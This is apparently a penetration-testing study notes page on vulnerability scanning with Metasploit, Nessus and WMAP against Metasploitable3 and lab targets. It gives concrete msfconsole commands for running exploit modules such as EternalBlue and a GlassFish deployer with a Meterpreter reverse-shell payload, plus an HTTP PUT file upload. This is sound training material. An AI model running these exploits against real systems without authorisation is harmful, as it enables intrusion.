> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/ecpptv2-ptp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/ecpptv2-ptp-notes/network-security/2.3/vulnerability-scanning.md). # Vulnerability Scanning ## Vulnerability Scanning With MSF MSF **Auxiliary** and **exploit** modules can be utilized to identify inherent vulnerabilities in services, O.S. and web apps. * Useful in the **Exploitation** phase of the pentest 🔬 [Metasploitable3](https://github.com/rapid7/metasploitable3) lab environment will be used for the vulnerability scanning demonstration. * **Metasploitable3** is a vulnerable virtual machine developed by Rapid7, intended to be used as a vulnerable target for testing exploits with Metasploit. > 🔬 You can find my lab installation & configuration with Vagrant at [this page](https://blog.syselement.com/home/home-lab/redteam/metasploitable3), *set up for educational purposes*. * Kali Linux attacker machine must be configured with **the same local network** of the Metasploitable3 VMs. Detect active hosts on the local network, from the Kali VM:sudo nmap -sn 192.168.31.0/24Nmap scan report for 192.168.31.139 # Linux targetNmap scan report for 192.168.31.140 # Windows2008 target * Run Metasploit: service postgresql start && msfconsole -qdb\_statussetg RHOSTS 192.168.31.140setg RHOST 192.168.31.140workspace -a VULN\_SCAN\_MS3 * **Service version** is a key piece of information for the vulnerabilities scanning. Use the **`db_nmap`** command inside the MSF db\_nmap -sS -sV -O 192.168.31.140\[\*] Nmap: 21/tcp open ftp Microsoft ftpd\[\*] Nmap: 22/tcp open ssh OpenSSH 7.1 (protocol 2.0)\[\*] Nmap: 80/tcp open http Microsoft IIS httpd 7.5\[\*] Nmap: 135/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn\[\*] Nmap: 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds\[\*] Nmap: 3306/tcp open mysql MySQL 5.5.20-log\[\*] Nmap: 3389/tcp open tcpwrapped\[\*] Nmap: 4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 7676/tcp open java-message-service Java Message Service 301\[\*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)\[\*] Nmap: 8080/tcp open http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 8181/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 8383/tcp open http Apache httpd\[\*] Nmap: 9200/tcp open wap-wsp?\[\*] Nmap: 49152/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49153/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49154/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49155/tcp open msrpc Microsoft Windows RPC\[...]db\_nmaphostsservices

* Manually search for a specific exploit * Check if there are any exploits for a particular **version** of a service search type:exploit name:iissearch type:exploit name:iissearch Sun GlassFish

* Check if a module will work on the specific version of the service use exploit/multi/http/glassfish\_deployerinfo# Description:# This module logs in to a GlassFish Server (Open Source or# Commercial) using various methods (such as authentication bypass,# default credentials, or user-supplied login), and deploys a# malicious war file in order to get remote code execution. It has# been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System# Application Server 9.x. Newer GlassFish versions do not allow remote# access (Secure Admin) by default, but is required for exploitation.set payload windows/meterpreter/reverse\_tcpoptions# check the LHOST, LPORT, APP\_RPORT, RPORT, PAYLOAD options * Use [searchsploit](https://www.exploit-db.com/searchsploit) tool from the Kali terminal, instead of `search MSF command`, by displaying only the Metasploit exploit modules searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"

* Back in `msfconsole`, check if the server is vulnerable to MS17-010 search eternalblueuse auxiliary/scanner/smb/smb\_ms17\_010runuse exploit/windows/smb/ms17\_010\_eternalblueoptions# always check Payload optionsrun

> [**metasploit-autopwn**](https://github.com/hahwul/metasploit-autopwn) - a Metasploit plugin for easy exploit & vulnerability attack. > > * *takes a look at the Metasploit database and provides a list of exploit modules to use for the already enumerated services* * On a Kali terminal wget mv db\_autopwn.rb /usr/share/metasploit-framework/plugins/ * On `msfconsole` load db\_autopwndb\_autopwn -p -t# Enumerates exploits for each of the open portsdb\_autopwn -p -t -PI 445# Limit to only the 445 portdb\_autopwn -p -t -PI 445

* On `msfconsole` use the **`analyze`** command to auto analyze the contents of the MSFdb (hosts & services) analyzeanalyzevulnsvulns

## VA with [Nessus](https://www.offsec.com/metasploit-unleashed/working-with-nessus/) > 🔬 You can find my [**Nessus Essentials** install tutorial here](https://blog.syselement.com/home/operating-systems/linux/tools/nessus). * A vulnerability scan with Nessus result can be imported into the MSF for analysis and exploitation. * Nessus Essentials free version allows to scan up to 16 IPs. Start Nessus Essentials on the Kali VM, login and create a New **Basic Network Scan** and run it.Wait for the scan conclusion and export the results with the **Export/Nessus** button.Nessus Essentials - Metasploitable3

* Open the `msfconsole` terminal and import the Nessus results * Check the information from the scan results with the `hosts`, `services`, `vulns` commands workspace -a MS3\_NESSUSdb\_import /home/kali/Downloads/MS3\_zph3t5.nessushostsservicesvulnsvulns -p 445search cve:2017 name:smbsearch MS12-020search cve:2019 name:rdpsearch cve:2015 name:ManageEnginesearch PHP CGI Argument Injection

#### VA with [WMAP](https://www.offsec.com/metasploit-unleashed/wmap-web-scanner/) 🗒️ **WMAP** is a web application vulnerability scanner that allows to conduct and automate web server enumeration and scanning from within the Metasploit Framework. * Available as a fully integrated MSF plugin * Utilizes the in-built MSF auxiliary modules > 🔬 The lab is the same one from the HTTP Metasploit Enumeration section above - [Metasploit - Apache Enumeration Lab](https://www.attackdefense.com/challengedetails?cid=118) ip -br -c a192.28.60.3# Target IPservice postgresql start && msfconsole -qdb\_statussetg RHOSTS 192.28.60.3setg RHOST 192.28.60.3workspace -a WMAP\_SCAN * Load WMAP extension within `msfconsole` load wmapload wmap

* Add WMAP site wmap\_sites -a 192.28.60.3 * Specify the target URL wmap\_targets -t -lwmap\_targets -l * Show only the MSF modules that will be able to be run against target wmap\_run -t * Run the **web app vulnerability scan** * this will run all enabled modules against the target web server wmap\_run -e * *Analyze the results produced by WMAP.* wmap\_run -twmap\_run -e

* List WMAP found vulnerabilities wmap\_vulns -l * Since the allowed methods are `POST`, `OPTIONS`, `GET`, `HEAD`, exploit the vulnerability with the use of `auxiliary/scanner/http/http_put` module to upload a file into the `/data` directory * 📌 A reverse shell payload can be uploaded and run on the target. use auxiliary/scanner/http/http\_putoptionsset PATH /data/set FILEDATA "File uploaded"set FILENAME file.txtrunMetasploit - auxiliary/scanner/http/http\_put

* Test if the file has been uploaded correctly curl